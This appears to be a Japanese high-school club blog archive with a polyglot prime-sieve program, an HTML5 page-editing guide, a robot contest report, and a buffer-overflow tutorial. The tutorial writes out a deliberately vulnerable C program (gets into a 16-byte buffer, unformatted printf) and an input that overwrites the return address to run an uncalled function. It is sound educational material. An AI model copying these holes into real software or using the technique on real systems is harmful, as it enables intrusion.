2013/06/12
2013/04/22
【副部長の】はじめてのpolyglot【不定期連載】
言語はCとrubyとpython
解説は後で書く．
まず，C言語の説明からしたいと思います．
このソースをプリプロセスにかけると以下のようになります．
次に，整形して見やすくします．
この時点のコードで，解説に入っていきたいと思います．
まず，変数宣言ですが，グローバル変数は型名を宣言しないとintになり，さらに0に初期化されることを利用して，型宣言，初期化の代入を省いています．
main(i)のiですが，main関数の引数にはint argcが入ることを利用し，また型宣言がないと型がintになることを利用して，int iを宣言しています．
初期化は，argcは引数を指定せずにプログラムを実行すると1が入ることを利用して，実行すると1が入る仕組みになっています．
アルゴリズムは単純なエラトステネスの篩です．
最初の二つのfor文でふるい分けをしています．
外側のfor文で2から24までの数をiに代入し，内側のfor文でi*2以降の全ての倍数にフラグを立てています．
高速化の面ではきちんと素数の倍数でフラグを立てるべきですが，倍数の倍数でも別に結果には変わりないので省いています．
外側のfor文の条件でi++<24となっているのは，プログラムを実行したときiに1が入ってしまうので，i<24を比較した後に後置インクリメントでi+=1をしています．
このようにすることで，i<24を比較した後，内側のfor文に入る前にiが2になってくれます．
内側のfor文でiの倍数にフラグを立てています．
このfor文も比較の時はkの値をそのまま使って，中の文に入る前にk+=1をしています．
このようにしないと，iが素数の場合，for文のb[i*k]=1;がb[i*1]=1;となってしまい，iは素数であるにも関わらず，b[i]が1になってしまいます．
次のfor文で素数の出力をしています．
for文の中身はb[600]を順番に542まで調べて，b[j]==0の時のみprintfしています．
C言語の論理積と論理和，つまり&&と||はそれぞれ次のような特徴があります．
論理積は (expr_1&&expr_2&&…&&expr_N) と書くとき，expr_nが偽ならそれ以降，つまりexpr_n+1以降は評価しません．
また，論理和は (expr_1||expr_2||…||expr_N) と書くとき，expr_nが真ならそれ以降，つまりexpr_n+1以降は評価しません．
このことを利用し，
これを利用してフラグが立っていない添字のみを出力しています．
#define p
#define M 0;k,j,b[600];main(i){for(;i++<24;)for(k=1;i*k++<600;)b[i*k]=1;for(;j++<542;)b[j]||printf("%d\n",j);}m
i=M=0;
#if 0
print"2\n3\n5\n7\n11\n13\n17\n19\n23"
'''a'
=begin
'a'''
p=7;
s='111@A\"1A1!a1A21@P1S02#2112a!aP2AA22PPA213AA34'
m='Y$s\x15\x15C*iV\'Tp\x0d'
P=[1if int(z)==1 else-1for z in list(''.join([y if len(y)==7 else'0'*(7-len(y))+y for y in[bin(ord(x))[2:]for x in list(m)]]))]
for c in [ord(x) for x in list(s)]:
print p*4+P[i]
p+=(c>>4)-2
i+=1
print p*4+P[i]
p+=c&15
i+=1
print p*4+P[i]
'''a'
=end
print"\n"
2.step(542,1){|a|$M=0;2.step(23,1){|b|if a%b==0then$M=1;break;end};if$M==0then p a end};
'a'''
#endif
解説は後で書く．
まず，C言語の説明からしたいと思います．
このソースをプリプロセスにかけると以下のようになります．
i=0;k,j,b[600];main(i){for(;i++<24;)for(k=1;i*k++<600;)b[i*k]=1;for(;j++<542;)b[j]||printf("%d\n",j);}m=0;
次に，整形して見やすくします．
k,j,b[600];
main(i) {
for(;i++<24;) {
for(k=1;i*k++<600;) {
b[i*k]=1;
}
}
for(;j++<542;) {
b[j]||printf("%d\n",j);
}
}
i=0;m=0は必要無いので削除してしまいました．この時点のコードで，解説に入っていきたいと思います．
まず，変数宣言ですが，グローバル変数は型名を宣言しないとintになり，さらに0に初期化されることを利用して，型宣言，初期化の代入を省いています．
main(i)のiですが，main関数の引数にはint argcが入ることを利用し，また型宣言がないと型がintになることを利用して，int iを宣言しています．
初期化は，argcは引数を指定せずにプログラムを実行すると1が入ることを利用して，実行すると1が入る仕組みになっています．
アルゴリズムは単純なエラトステネスの篩です．
最初の二つのfor文でふるい分けをしています．
外側のfor文で2から24までの数をiに代入し，内側のfor文でi*2以降の全ての倍数にフラグを立てています．
高速化の面ではきちんと素数の倍数でフラグを立てるべきですが，倍数の倍数でも別に結果には変わりないので省いています．
外側のfor文の条件でi++<24となっているのは，プログラムを実行したときiに1が入ってしまうので，i<24を比較した後に後置インクリメントでi+=1をしています．
このようにすることで，i<24を比較した後，内側のfor文に入る前にiが2になってくれます．
内側のfor文でiの倍数にフラグを立てています．
このfor文も比較の時はkの値をそのまま使って，中の文に入る前にk+=1をしています．
このようにしないと，iが素数の場合，for文のb[i*k]=1;がb[i*1]=1;となってしまい，iは素数であるにも関わらず，b[i]が1になってしまいます．
次のfor文で素数の出力をしています．
for文の中身はb[600]を順番に542まで調べて，b[j]==0の時のみprintfしています．
C言語の論理積と論理和，つまり&&と||はそれぞれ次のような特徴があります．
論理積は (expr_1&&expr_2&&…&&expr_N) と書くとき，expr_nが偽ならそれ以降，つまりexpr_n+1以降は評価しません．
また，論理和は (expr_1||expr_2||…||expr_N) と書くとき，expr_nが真ならそれ以降，つまりexpr_n+1以降は評価しません．
このことを利用し，
if(expr_1==0) {
expr_2;
}expr_1||expr_2;
これを利用してフラグが立っていない添字のみを出力しています．
2013/04/08
【副部長の】cygwin&gccを使用したBOFについての紹介【不定期連載】
この記事の環境は以下のものになります.
---
Intel(R) Celeron(R) CPU B820 @ 1.70GHz
MemTotal: 1929584 kB
CYGWIN_NT-6.1-WOW64 version 1.7.17(0.262/5/3) (corinna@calimero.vinschen.de) (gcc version 4.5.3 20110428 (Fedora Cygwin 4.5.3-4) (GCC) ) 2012-10-19 14:39
***gccは嘘
$ gcc -v
組み込み spec を使用しています。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/i686-pc-cygwin/4.7.2/lto-wrapper.exe
ターゲット: i686-pc-cygwin
configure 設定: ../gcc-4.7.2/configure --enable-languages=c,c++
スレッドモデル: single
gcc バージョン 4.7.2 (GCC)
---
先日,部活にあったO'REILLYの「C実践プログラミング 第３版」の表紙の,"Why Does 2+2=5986?"を見て,皆と悩んだ結果,49ページにあったサンプルプログラムの結果とわかり,大爆笑したのですが,そのときに興味深い事例が起こったので,記事にしておこうと思います.
まず,cygwin環境で49ページのプログラムを打ち込んで,実行してみます.
$vim answer.c
$gcc answer.c
$ ./a.exe
The answer is 2675740
$
はい,予定通りおかしな値が出力されました.
ちなみに,この数値はスタックトップのconst char*の次の値になっているのですが,今はまだこのことはスルーして大丈夫.
で,アイム オン ザ チョーシ,調子に乗って何回か連続して実行すると,
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$
NaNということでしょう,いつも同じ値が表示されてしまっているではありませんか!
これはASLR(Address Space Layout Randomization)が効いてない予感
ということで,こんなのを作成.
$vim answer.c
$gcc answer.c
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
やっぱり,固定アドレスだーー
そうとわかったら次にすることはただ１つ,bof(Buffer Over Flow)しなイカ?
このコードには脆弱性がたくさんあります.全部わかるかな?
レッツ,コンパイル アンド ラン
$ ./a.exe
func = 0x4010f0
123456789012345
123456789012345
$
はい,正常終了しました.当たり前ですね.
stkのサイズが16なので,NUL文字を除いて15文字以内なら正常にechoするプログラムとなっております.
では,16文字以上を打ち込んでみましょう.
$ echo -e "123456789012345678901234567" | ./a.exe
func = 0x4010f0
123456789012345678901234567
$
ここまでセーフ.
$ echo -e "1234567890123456789012345678" | ./a.exe
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$
どうやら,28文字以上で挙動がおかしくなるようです.
この違いは,main関数がreturnするときに正常にreturnできているか,いないかの違いです.
return addressが変わると,予期せぬ事態が発生します.
この場合,予期せぬ動作が,
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$
の
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$
に表れています.
では,なぜreturn addressが変わってしまったのか,原因を探っていきましょう.
stkのサイズが16なので,入力する文字が15文字以下のときプログラムが正常に動作することが保障されています.
しかし,16文字を超えて入力したことで,プログラムが異常動作したものと思われます.
ここで,28文字という数値が意味を持ってきます.
実行中のプログラムが使っているメモリの状況は,おおよそこんな風になっているはずです.
28文字入力すると,29文字目に\0が追加されるため,return addressの上位1バイトが0x00になってしまいます.
こうなった結果,main関数がreturnするときに間違ったアドレスにreturnしてしまうため,上記のような結果になったと考えられます.
実際に文字列を入力した直後のスタックを見ると,このようになっているのがよくわかると思います.
(gdb) b main
Breakpoint 1 at 0x40111c: file answer.c, line 8.
(gdb) r
Starting program: /home/user/programming/scratch/a.exe
[New Thread 4600.0xbe8]
[New Thread 4600.0xa4c]
Breakpoint 1, main (argc=1, argv=0x28ac50) at answer.c:8
8 printf("func = %08p\n", func);
(gdb) n
func = 0x4010f0
12 gets(stk);
(gdb) n
123456789012345678901234567
13 printf(stk);
(gdb) n
17 return 0;
(gdb) x/16x $esp
0x28ac00: 0x0028ac10 0x004010f0 0x0028ac48 0x49435341
0x28ac10: 0x34333231 0x38373635 0x32313039 0x36353433
0x28ac20: 0x30393837 0x34333231 0x00373635 0x6100763a
0x28ac30: 0x00000001 0x0028ac50 0x200280e8 0x2003ab8f
(gdb) n
ということで,return addressは 0x6100763a だとわかりました.
ところで,(int *)(0x28ac10)になにやら怪しい文字列があるのに気づきましたか?
0x28ac10: 0x34333231 0x38373635 0x32313039 0x00353433
これを(char *)(0x28ac10)として解釈すると,"123456789012345\n"という文字列が見えてきます.
これがstk[16]の実態なのです.
アドレスに注目すると,アドレスの大きいほうに入力した文字列が配置されていくことがわかります.
これを伸ばしていけば,いずれmainのreturn addressを変えることが出来るはずです.
実際に書き換えた結果が,28文字入力したときの誤作動となったわけです.
ここまでわかっているのなら,後は簡単です.
うまく文字数と書き込む文字を調節して,return addressを書き換えてみましょう.
前の実験から,funcのaddressは0x4010f0で固定,main関数のreturn addressを書き換えるために必要な文字数は28文字+アドレスを書き換える文字数4字なので,32文字になります.(この環境はsizeof(void*)が4となる環境です).
では,早速32文字打ち込んでreturn addressを書き換えてみましょう.
入力する文字列の28文字までは使用しないので適当にうめて,29文字以降にアドレスを埋め込みます.
ここで注意してほしいのが,return addressをintで表記していて,なおかつこの環境はリトルエンディアンなので,実際にメモリに配置されている値は0xf0 0x10 0x40 0x00になります.
さらに,getsで取得した文字列の末尾には\0が入ることを利用して,28～31文字目に0xf0 0x10 0x40という文字列にすれば,0x00が末尾に勝手に入ってくれるので,結果的に上記のメモリ配置になります.
これに注意して,"123456789012345678901234567\xf0\x10\x40"のような文字列を入力すれば,funcが実行されるはずです.
やってみましょう.
$echo -e "1234567890123456789012345678\xf0\x10\x40" | ./a.exe
func = 0x4010f0
1234567890123456789012345678▒@hacked
成功です.
funcという関数は一回も呼び出していないのに,なぜかhackedという文字が出力されてしまっています.
これが,bof(buffer over flow)という脆弱性です.
---
Intel(R) Celeron(R) CPU B820 @ 1.70GHz
MemTotal: 1929584 kB
CYGWIN_NT-6.1-WOW64 version 1.7.17(0.262/5/3) (corinna@calimero.vinschen.de) (gcc version 4.5.3 20110428 (Fedora Cygwin 4.5.3-4) (GCC) ) 2012-10-19 14:39
***gccは嘘
$ gcc -v
組み込み spec を使用しています。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/i686-pc-cygwin/4.7.2/lto-wrapper.exe
ターゲット: i686-pc-cygwin
configure 設定: ../gcc-4.7.2/configure --enable-languages=c,c++
スレッドモデル: single
gcc バージョン 4.7.2 (GCC)
---
先日,部活にあったO'REILLYの「C実践プログラミング 第３版」の表紙の,"Why Does 2+2=5986?"を見て,皆と悩んだ結果,49ページにあったサンプルプログラムの結果とわかり,大爆笑したのですが,そのときに興味深い事例が起こったので,記事にしておこうと思います.
まず,cygwin環境で49ページのプログラムを打ち込んで,実行してみます.
#include <stdio.h>int answer;
int main() {
answer = 2 + 2;
printf("The answer is %d\n");
return (0);
}
$vim answer.c
$gcc answer.c
$ ./a.exe
The answer is 2675740
$
はい,予定通りおかしな値が出力されました.
ちなみに,この数値はスタックトップのconst char*の次の値になっているのですが,今はまだこのことはスルーして大丈夫.
で,アイム オン ザ チョーシ,調子に乗って何回か連続して実行すると,
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$
NaNということでしょう,いつも同じ値が表示されてしまっているではありませんか!
これはASLR(Address Space Layout Randomization)が効いてない予感
ということで,こんなのを作成.
#include <stdio.h>
#include <stdlib.h>
void func(void) {
printf("hack\n");
exit(0);
}
int main(void) {
printf("func = %08p",func);
return 0;
}
$vim answer.c
$gcc answer.c
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
やっぱり,固定アドレスだーー
そうとわかったら次にすることはただ１つ,bof(Buffer Over Flow)しなイカ?
#include <stdio.h>
#include <stdlib.h>
void func(void) {
printf("hack\n");
exit(0);
}
int main(void) {
char stk[16];
printf("func = %08p",func);
gets(stk);
printf(stk);
puts("");
return 0;
}
このコードには脆弱性がたくさんあります.全部わかるかな?
レッツ,コンパイル アンド ラン
$ ./a.exe
func = 0x4010f0
123456789012345
123456789012345
$
はい,正常終了しました.当たり前ですね.
stkのサイズが16なので,NUL文字を除いて15文字以内なら正常にechoするプログラムとなっております.
では,16文字以上を打ち込んでみましょう.
$ echo -e "123456789012345678901234567" | ./a.exe
func = 0x4010f0
123456789012345678901234567
$
ここまでセーフ.
$ echo -e "1234567890123456789012345678" | ./a.exe
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$
どうやら,28文字以上で挙動がおかしくなるようです.
この違いは,main関数がreturnするときに正常にreturnできているか,いないかの違いです.
return addressが変わると,予期せぬ事態が発生します.
この場合,予期せぬ動作が,
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$
の
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$
に表れています.
では,なぜreturn addressが変わってしまったのか,原因を探っていきましょう.
stkのサイズが16なので,入力する文字が15文字以下のときプログラムが正常に動作することが保障されています.
しかし,16文字を超えて入力したことで,プログラムが異常動作したものと思われます.
ここで,28文字という数値が意味を持ってきます.
実行中のプログラムが使っているメモリの状況は,おおよそこんな風になっているはずです.
<-下位アドレス＿＿＿＿＿＿＿＿上位アドレス-> [....~~~~~~~~................................] ^^^^________^^^^^^^^^^^^^^^^ ~~~~^^^^ $esp 数値__ stk[16]---------________sfp return address <-スタックトップ＿＿＿＿＿＿＿＿スタックボトム-> .が1バイト ^^^^が4バイト
28文字入力すると,29文字目に\0が追加されるため,return addressの上位1バイトが0x00になってしまいます.
こうなった結果,main関数がreturnするときに間違ったアドレスにreturnしてしまうため,上記のような結果になったと考えられます.
実際に文字列を入力した直後のスタックを見ると,このようになっているのがよくわかると思います.
(gdb) b main
Breakpoint 1 at 0x40111c: file answer.c, line 8.
(gdb) r
Starting program: /home/user/programming/scratch/a.exe
[New Thread 4600.0xbe8]
[New Thread 4600.0xa4c]
Breakpoint 1, main (argc=1, argv=0x28ac50) at answer.c:8
8 printf("func = %08p\n", func);
(gdb) n
func = 0x4010f0
12 gets(stk);
(gdb) n
123456789012345678901234567
13 printf(stk);
(gdb) n
17 return 0;
(gdb) x/16x $esp
0x28ac00: 0x0028ac10 0x004010f0 0x0028ac48 0x49435341
0x28ac10: 0x34333231 0x38373635 0x32313039 0x36353433
0x28ac20: 0x30393837 0x34333231 0x00373635 0x6100763a
0x28ac30: 0x00000001 0x0028ac50 0x200280e8 0x2003ab8f
(gdb) n
ということで,return addressは 0x6100763a だとわかりました.
ところで,(int *)(0x28ac10)になにやら怪しい文字列があるのに気づきましたか?
0x28ac10: 0x34333231 0x38373635 0x32313039 0x00353433
これを(char *)(0x28ac10)として解釈すると,"123456789012345\n"という文字列が見えてきます.
これがstk[16]の実態なのです.
アドレスに注目すると,アドレスの大きいほうに入力した文字列が配置されていくことがわかります.
これを伸ばしていけば,いずれmainのreturn addressを変えることが出来るはずです.
実際に書き換えた結果が,28文字入力したときの誤作動となったわけです.
ここまでわかっているのなら,後は簡単です.
うまく文字数と書き込む文字を調節して,return addressを書き換えてみましょう.
前の実験から,funcのaddressは0x4010f0で固定,main関数のreturn addressを書き換えるために必要な文字数は28文字+アドレスを書き換える文字数4字なので,32文字になります.(この環境はsizeof(void*)が4となる環境です).
では,早速32文字打ち込んでreturn addressを書き換えてみましょう.
入力する文字列の28文字までは使用しないので適当にうめて,29文字以降にアドレスを埋め込みます.
ここで注意してほしいのが,return addressをintで表記していて,なおかつこの環境はリトルエンディアンなので,実際にメモリに配置されている値は0xf0 0x10 0x40 0x00になります.
さらに,getsで取得した文字列の末尾には\0が入ることを利用して,28～31文字目に0xf0 0x10 0x40という文字列にすれば,0x00が末尾に勝手に入ってくれるので,結果的に上記のメモリ配置になります.
これに注意して,"123456789012345678901234567\xf0\x10\x40"のような文字列を入力すれば,funcが実行されるはずです.
やってみましょう.
$echo -e "1234567890123456789012345678\xf0\x10\x40" | ./a.exe
func = 0x4010f0
1234567890123456789012345678▒@hacked
成功です.
funcという関数は一回も呼び出していないのに,なぜかhackedという文字が出力されてしまっています.
これが,bof(buffer over flow)という脆弱性です.
2013/03/03
2013/02/13
2013/02/11
【副部長の】学校の部活ページについて【不定期連載】その３
目次
- 部活のページの構成（続き）
- 編集するところ
部活のページの構成（続き）
前回は，部活のページ全体について解説しました．
今回は，リンクの追加の仕方，記事の書き方の準備として，nav要素の中身，article要素の中身について解説をしようと思います．
まず，テンプレートのnav要素の中身を見ていきます．
<!--nav要素-->
<nav>
<ul>
<li><a href="#" class="current"></a></li>
<li><a href="../index.html"></a></li>
<li><a href="#"></a></li>
<li><a href="http://example.com"></a></li>
<li><a href="http://example.org"></a></li>
</ul>
</nav>
リンクを貼るだけならばa要素だけで良いのですが，見栄えを良くするため，階層構造を実現しやすくするため，参考にしたテンプレートがこうしていたから，などの理由でul要素とli要素で囲っています．
では，ul要素とli要素について解説をしていきます．
（まあ，ググればすぐ出てくるんだけどね）
ということで，さっそくHTML5タグリファレンスでul要素とli要素を見ていきます．
<ul>タグはunordered listの略で、順序のないリストを表示する際に使用します。 リストの各項目は<li>タグを用いて記述します。
<li>タグはlist itemの略で、リストの項目を記述する際に使用します。なので，例えばこのように書くと，
<!--ul要素,li要素-->
<ul>
<li>このように</li>
<li>表示</li>
され
<li>ます．</li>
- このように
- 表示 され
- ます．
なんで部活のページには黒丸がないのかは，cssの話になってしまうので，また後日．
次に，article要素の中身を見ていきます．
<!--div要素,article要素--><div id="main"> <article> <h2></h2> <div class="box"> <p></p> <aside> <p></p> </aside> </div> </article> </div>
<h2>〜</h2>に見出しを書いて，<p>〜</p>に内容を書きます．aside要素には補助情報を入れます．
では，HTML5タグリファレンスでarticle要素とaside要素を見ていきます．
<article>タグは、内容が単体で完結するセクションであることを示す際に使用します。例えば、フォーラムでの投稿、雑誌や新聞の記事、ブログのエントリ、コメントなどです。
<aside>タグは、その部分がウェブページ内における余談・補足情報のセクションであることを示す際に使用します。なので，article要素の中に<h2>要素で見出しを書き，<p>要素で見出しに対応した内容を書きます．ちょっとした補足情報を書くときにはaside要素の<p>要素に書きます．
編集するところ
では，実際にどこを編集すれば良いのかを説明します．
リンクの追加ですが，上記のnav要素の中に関連しているページへのリンクを貼るといいと思います．
ページが多くなってきたらheader要素の中にグローバルなリンクや，コンテンツ分けしてリンクを貼るのもいいでしょう．
具体的な追加の仕方は，li要素をコピペして，a要素の中身とURLを変えるだけです．
階層表示がしたくなったら，li要素の中にul要素をネストするとよいでしょう．
記事の追加の仕方は，article要素をコピーしてdiv要素の中のトップレベルにペーストするだけです．
具体的な方法は，h2要素にタイトルを書いて，p要素に内容を書きます．p要素のpはparagraph（段落）のpなので，適度に段落分けをして，その都度p要素を使うようにしましょう．
もし，メインのp要素の情報だけでは十分に情報が伝わらないという時や，補助情報を入れたい時にはaside要素を活用するとよいでしょう．aside要素のp要素に補助方法を書きましょう．
これで，ページを編集するときの注意は一通り書いたと思います．
cssについては解説をするのが面倒になってきたので，解説しません．各自ググってください．
テンプレにもありますが，正しくcssをリンクしないと予定通りの視覚効果が得られない場合があるので，cssの置き場所には注意しましょう．
おわり!
2013/02/10
千葉ノード大会に出陣してきました！
千葉ノードに出陣してきました！
すごかったチームを紹介します。
[ライントレース]
あらぶるかみ
今回、部活では「何とか神」みたいなチーム名がはやりました。
その中でも、そのチーム名の如く競技したロボットは、やはりこの「あらぶるかみ」。
長いシャフトが特徴のこのロボットはあらぶってあらぶって完走しました。
見事1位！です！
[レスキューＡ プライマリ]
のーべる
レスキューAのプライマリは実質このチームだけだったりもしますが、すごいので紹介します。
この車体は、マイクロマウスの経験から来るさまざまな工夫が施されています。
一階を見事完走、坂の途中でリタイアしましたが、まあそんなもんです。
あと1位！です！
一回目のトライでは、一階を完走した後、「坂に登っている途中で逆走し始めたくなる病」（ようするにバグ）が発生し、リトライで二階にもトライするものの、そちらにもバグが潜むという非常にユニークな演出をしました。
一回目のトライでは、二階まで見事完走、執念のリトライの結果、みごと被災者救出に成功しました！
二回目のトライでは、坂を登っている途中に部員がロボットに「もっと熱くなれよ！」と声をかけたものですから、坂を転げ落ちました。その結果電池が転げ落ち、その状態でリトライするものの、いろいろとだめでした。
まあ一回目であれだったからいっか・・・。
あと、レスキューＢとして「ふぁん・でる・わーるす」がデモを行いかけました。
四足歩行のこの機体はまだ開発途中なのです・・・。
まあわっしゃわっしゃ足が動くのはすごく面白いのですが。
そのほかの詳しいことは千葉ノード大会のブログにいろいろ書かれているので是非ご覧ください。
さて、千葉ノードのロボットは自作機の比率が非常に高かったりしますが、案外、この部活のせいだったりします。
その理由もまたいづれ。
で、関東大会に進出したチームは以下のとおりです。
[レスキューA]
・のーべる
・つーぜ
・てすら
[レスキューB]
・ふぁん・でる・わーるす
それについて詳しくは関東ブロックのページを参照して下さい。
すごかったチームを紹介します。
[ライントレース]
あらぶるかみ
今回、部活では「何とか神」みたいなチーム名がはやりました。
その中でも、そのチーム名の如く競技したロボットは、やはりこの「あらぶるかみ」。
見事1位！です！
[レスキューＡ プライマリ]
のーべる
レスキューAのプライマリは実質このチームだけだったりもしますが、すごいので紹介します。
一階を見事完走、坂の途中でリタイアしましたが、まあそんなもんです。
あと1位！です！
[レスキューＡ セカンダリ]
てすら
ほぼ仙台知能ロボコンの部品の流用でできています。
ほぼ仙台知能ロボコンの部品の流用でできています。
二回目のトライでは、執念（リトライたくさん）で被災者を何とか持ち上げ、得点を決めてました。
つーぜ
こちらのロボットは非常に仙台知能ロボコンに出てきそうな車体構成をしています。二回目のトライでは、坂を登っている途中に部員がロボットに「もっと熱くなれよ！」と声をかけたものですから、坂を転げ落ちました。その結果電池が転げ落ち、その状態でリトライするものの、いろいろとだめでした。
まあ一回目であれだったからいっか・・・。
あと、レスキューＢとして「ふぁん・でる・わーるす」がデモを行いかけました。
四足歩行のこの機体はまだ開発途中なのです・・・。
まあわっしゃわっしゃ足が動くのはすごく面白いのですが。
そのほかの詳しいことは千葉ノード大会のブログにいろいろ書かれているので是非ご覧ください。
さて、千葉ノードのロボットは自作機の比率が非常に高かったりしますが、案外、この部活のせいだったりします。
その理由もまたいづれ。
で、関東大会に進出したチームは以下のとおりです。
[レスキューA]
・のーべる
・つーぜ
・てすら
[レスキューB]
・ふぁん・でる・わーるす
それについて詳しくは関東ブロックのページを参照して下さい。
登録:
投稿 (Atom)